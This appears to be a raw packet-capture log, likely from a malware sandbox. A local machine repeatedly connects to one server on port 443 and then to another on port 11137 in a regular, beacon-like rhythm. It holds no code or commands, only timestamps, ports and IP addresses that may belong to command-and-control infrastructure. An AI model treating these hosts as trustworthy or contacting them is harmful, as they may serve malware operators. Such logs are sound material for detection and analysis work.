Nov 23, 2023 01:08:57.034252882 CET	11137	49705	18.229.248.167	192.168.2.5
Nov 23, 2023 01:08:57.142838001 CET	49706	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:57.142880917 CET	443	49706	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:57.142967939 CET	49706	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:57.143641949 CET	49706	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:57.143656969 CET	443	49706	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:57.393428087 CET	443	49706	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:57.395692110 CET	49706	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:57.395715952 CET	443	49706	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:57.671679974 CET	443	49706	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:57.671876907 CET	443	49706	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:57.671936989 CET	49706	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:57.673202038 CET	49706	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:57.674834967 CET	49707	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:08:57.882215977 CET	11137	49707	18.229.248.167	192.168.2.5
Nov 23, 2023 01:08:58.389110088 CET	49707	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:08:58.596550941 CET	11137	49707	18.229.248.167	192.168.2.5
Nov 23, 2023 01:08:59.107832909 CET	49707	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:08:59.315876961 CET	11137	49707	18.229.248.167	192.168.2.5
Nov 23, 2023 01:08:59.826548100 CET	49707	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:00.034256935 CET	11137	49707	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:00.545304060 CET	49707	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:00.752923965 CET	11137	49707	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:00.876058102 CET	49708	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:00.876106024 CET	443	49708	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:00.876199961 CET	49708	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:00.876750946 CET	49708	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:00.876764059 CET	443	49708	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:01.131855011 CET	443	49708	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:01.133795023 CET	49708	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:01.133817911 CET	443	49708	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:01.410115004 CET	443	49708	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:01.410204887 CET	443	49708	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:01.410280943 CET	49708	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:01.411474943 CET	49708	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:01.412867069 CET	49709	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:01.620393038 CET	11137	49709	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:02.123450994 CET	49709	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:02.331049919 CET	11137	49709	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:02.842186928 CET	49709	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:03.049905062 CET	11137	49709	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:03.561019897 CET	49709	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:03.768549919 CET	11137	49709	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:04.279647112 CET	49709	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:04.487230062 CET	11137	49709	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:04.595422029 CET	49710	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:04.595494032 CET	443	49710	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:04.595607996 CET	49710	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:04.596036911 CET	49710	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:04.596071959 CET	443	49710	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:04.850292921 CET	443	49710	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:04.852376938 CET	49710	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:04.852474928 CET	443	49710	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:05.131539106 CET	443	49710	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:05.131635904 CET	443	49710	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:05.131716967 CET	49710	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:05.132639885 CET	49710	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:05.133889914 CET	49711	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:05.341192961 CET	11137	49711	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:05.842195034 CET	49711	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:06.049943924 CET	11137	49711	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:06.560971975 CET	49711	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:06.768383026 CET	11137	49711	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:07.279846907 CET	49711	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:07.487248898 CET	11137	49711	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:07.998528004 CET	49711	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:08.206016064 CET	11137	49711	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:09.141166925 CET	49712	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:09.141190052 CET	443	49712	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:09.141267061 CET	49712	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:09.141784906 CET	49712	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:09.141796112 CET	443	49712	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:09.404335976 CET	443	49712	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:09.406649113 CET	49712	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:09.406666040 CET	443	49712	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:09.681040049 CET	443	49712	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:09.681184053 CET	443	49712	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:09.681238890 CET	49712	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:09.682179928 CET	49712	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:09.683286905 CET	49713	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:09.890698910 CET	11137	49713	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:10.404828072 CET	49713	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:10.612466097 CET	11137	49713	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:11.123370886 CET	49713	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:11.330662012 CET	11137	49713	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:11.842127085 CET	49713	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:12.049403906 CET	11137	49713	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:12.560859919 CET	49713	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:12.768085957 CET	11137	49713	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:12.875783920 CET	49722	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:12.875825882 CET	443	49722	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:12.875900984 CET	49722	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:12.876353025 CET	49722	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:12.876365900 CET	443	49722	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:13.132931948 CET	443	49722	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:13.145567894 CET	49722	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:13.145579100 CET	443	49722	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:13.417363882 CET	443	49722	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:13.417418003 CET	443	49722	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:13.417665005 CET	49722	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:13.418524981 CET	49722	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:13.419995070 CET	49723	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:13.627243042 CET	11137	49723	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:14.139075041 CET	49723	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:14.346344948 CET	11137	49723	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:14.857765913 CET	49723	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:15.065156937 CET	11137	49723	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:15.576771021 CET	49723	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:15.784063101 CET	11137	49723	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:16.295433044 CET	49723	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:16.502890110 CET	11137	49723	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:16.610306978 CET	49724	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:16.610393047 CET	443	49724	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:16.610486984 CET	49724	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:16.611128092 CET	49724	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:16.611165047 CET	443	49724	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:16.863809109 CET	443	49724	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:16.866209984 CET	49724	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:16.866283894 CET	443	49724	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:17.149338007 CET	443	49724	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:17.149414062 CET	443	49724	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:17.149504900 CET	49724	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:17.150242090 CET	49724	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:17.151616096 CET	49725	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:17.359214067 CET	11137	49725	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:17.873508930 CET	49725	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:18.081099033 CET	11137	49725	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:18.592305899 CET	49725	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:18.799957037 CET	11137	49725	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:19.311017036 CET	49725	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:19.518615961 CET	11137	49725	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:20.029654980 CET	49725	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:20.237494946 CET	11137	49725	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:20.344353914 CET	49726	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:20.344393015 CET	443	49726	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:20.344486952 CET	49726	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:20.344971895 CET	49726	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:20.344988108 CET	443	49726	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:20.597409964 CET	443	49726	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:20.599354982 CET	49726	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:20.599384069 CET	443	49726	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:20.877913952 CET	443	49726	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:20.877998114 CET	443	49726	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:20.878074884 CET	49726	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:20.878865957 CET	49726	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:20.880017996 CET	49727	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:21.087713957 CET	11137	49727	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:21.592113018 CET	49727	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:21.799794912 CET	11137	49727	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:22.310950041 CET	49727	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:22.518636942 CET	11137	49727	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:23.029938936 CET	49727	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:23.237644911 CET	11137	49727	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:23.748502016 CET	49727	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:23.956212044 CET	11137	49727	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:24.063877106 CET	49728	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:24.063911915 CET	443	49728	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:24.064059019 CET	49728	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:24.064549923 CET	49728	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:24.064563990 CET	443	49728	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:24.321974039 CET	443	49728	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:24.324034929 CET	49728	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:24.324052095 CET	443	49728	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:24.657215118 CET	443	49728	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:24.657403946 CET	443	49728	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:24.657640934 CET	49728	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:24.658684015 CET	49728	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:24.659979105 CET	49729	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:24.868227959 CET	11137	49729	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:25.373435974 CET	49729	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:25.580849886 CET	11137	49729	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:26.092551947 CET	49729	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:26.301275015 CET	11137	49729	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:26.810823917 CET	49729	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:27.018366098 CET	11137	49729	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:27.529777050 CET	49729	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:27.737229109 CET	11137	49729	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:27.845081091 CET	49730	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:27.845102072 CET	443	49730	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:27.845237017 CET	49730	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:27.845911026 CET	49730	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:27.845921040 CET	443	49730	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:28.104262114 CET	443	49730	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:28.106883049 CET	49730	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:28.106900930 CET	443	49730	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:28.381160021 CET	443	49730	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:28.381274939 CET	443	49730	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:28.381436110 CET	49730	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:28.382030010 CET	49730	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:28.383461952 CET	49731	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:28.590715885 CET	11137	49731	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:29.092076063 CET	49731	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:29.299561977 CET	11137	49731	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:29.810817003 CET	49731	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:30.018105984 CET	11137	49731	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:30.529697895 CET	49731	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:30.737097979 CET	11137	49731	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:31.248548031 CET	49731	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:31.456053019 CET	11137	49731	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:31.563318968 CET	49732	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:31.563349962 CET	443	49732	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:31.563455105 CET	49732	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:31.563935041 CET	49732	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:31.563946962 CET	443	49732	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:31.825277090 CET	443	49732	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:31.827733040 CET	49732	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:31.827749968 CET	443	49732	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:32.107928991 CET	443	49732	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:32.108078957 CET	443	49732	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:32.108268023 CET	49732	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:32.109407902 CET	49732	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:32.110862970 CET	49733	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:32.318324089 CET	11137	49733	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:32.826607943 CET	49733	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:33.034322023 CET	11137	49733	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:33.545408010 CET	49733	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:33.753099918 CET	11137	49733	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:34.264051914 CET	49733	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:34.471683979 CET	11137	49733	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:34.982790947 CET	49733	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:35.190391064 CET	11137	49733	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:35.297665119 CET	49734	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:35.297775984 CET	443	49734	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:35.297864914 CET	49734	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:35.298485994 CET	49734	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:35.298526049 CET	443	49734	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:35.558653116 CET	443	49734	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:35.560806990 CET	49734	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:35.560837984 CET	443	49734	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:35.840015888 CET	443	49734	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:35.840179920 CET	443	49734	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:35.840272903 CET	49734	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:35.841555119 CET	49734	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:35.843363047 CET	49735	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:36.050796032 CET	11137	49735	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:36.560817003 CET	49735	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:36.768476963 CET	11137	49735	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:37.279699087 CET	49735	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:37.487226009 CET	11137	49735	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:37.998465061 CET	49735	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:38.205878973 CET	11137	49735	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:38.717056990 CET	49735	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:38.924520969 CET	11137	49735	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:39.032111883 CET	49736	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:39.032170057 CET	443	49736	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:39.032285929 CET	49736	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:39.032917976 CET	49736	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:39.032934904 CET	443	49736	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:39.294169903 CET	443	49736	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:39.296366930 CET	49736	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:39.296380043 CET	443	49736	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:39.874640942 CET	443	49736	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:39.874819040 CET	443	49736	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:39.874886036 CET	49736	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:39.875962019 CET	49736	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:39.877739906 CET	49737	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:40.085036993 CET	11137	49737	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:40.592133045 CET	49737	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:40.799561977 CET	11137	49737	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:41.310810089 CET	49737	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:41.522953987 CET	11137	49737	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:42.029674053 CET	49737	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:42.237040997 CET	11137	49737	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:42.748291016 CET	49737	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:42.955661058 CET	11137	49737	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:43.063245058 CET	49738	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:43.063291073 CET	443	49738	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:43.063384056 CET	49738	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:43.063908100 CET	49738	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:43.063922882 CET	443	49738	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:43.316061974 CET	443	49738	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:43.318176031 CET	49738	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:43.318201065 CET	443	49738	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:43.594187021 CET	443	49738	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:43.594263077 CET	443	49738	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:43.594460964 CET	49738	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:43.595485926 CET	49738	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:43.596812963 CET	49739	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:43.804017067 CET	11137	49739	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:44.310952902 CET	49739	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:44.518412113 CET	11137	49739	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:45.029539108 CET	49739	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:45.236895084 CET	11137	49739	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:45.748322964 CET	49739	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:45.955741882 CET	11137	49739	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:46.467202902 CET	49739	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:46.674748898 CET	11137	49739	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:46.782123089 CET	49740	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:46.782161951 CET	443	49740	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:46.782221079 CET	49740	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:46.782761097 CET	49740	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:46.782774925 CET	443	49740	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:47.037296057 CET	443	49740	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:47.039844036 CET	49740	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:47.039874077 CET	443	49740	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:47.390211105 CET	443	49740	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:47.390296936 CET	443	49740	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:47.390348911 CET	49740	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:47.391371012 CET	49740	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:47.392967939 CET	49741	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:47.600550890 CET	11137	49741	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:48.107768059 CET	49741	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:48.317272902 CET	11137	49741	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:48.826553106 CET	49741	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:49.034203053 CET	11137	49741	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:49.545286894 CET	49741	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:49.753292084 CET	11137	49741	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:50.263906002 CET	49741	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:50.471519947 CET	11137	49741	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:50.578447104 CET	49743	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:50.578474045 CET	443	49743	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:50.578567028 CET	49743	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:50.579008102 CET	49743	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:50.579019070 CET	443	49743	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:50.587393999 CET	49743	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:50.629264116 CET	443	49743	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:50.837323904 CET	443	49743	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:50.837431908 CET	49743	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:51.719739914 CET	49744	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:51.719784021 CET	443	49744	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:51.719953060 CET	49744	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:51.720321894 CET	49744	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:51.720339060 CET	443	49744	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:51.979577065 CET	443	49744	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:51.979657888 CET	49744	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:51.981852055 CET	49744	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:51.981858969 CET	443	49744	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:51.982182980 CET	443	49744	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:51.988395929 CET	49744	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:52.033257008 CET	443	49744	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:52.313926935 CET	443	49744	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:52.314007044 CET	443	49744	148.72.177.212	192.168.2.5
Nov 23, 2023 01:09:52.314609051 CET	49744	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:52.315201998 CET	49744	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:09:52.316760063 CET	49745	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:09:52.524513006 CET	11137	49745	18.229.248.167	192.168.2.5
Nov 23, 2023 01:09:53.029496908 CET	49745	11137	192.168.2.5	18.229.248.167
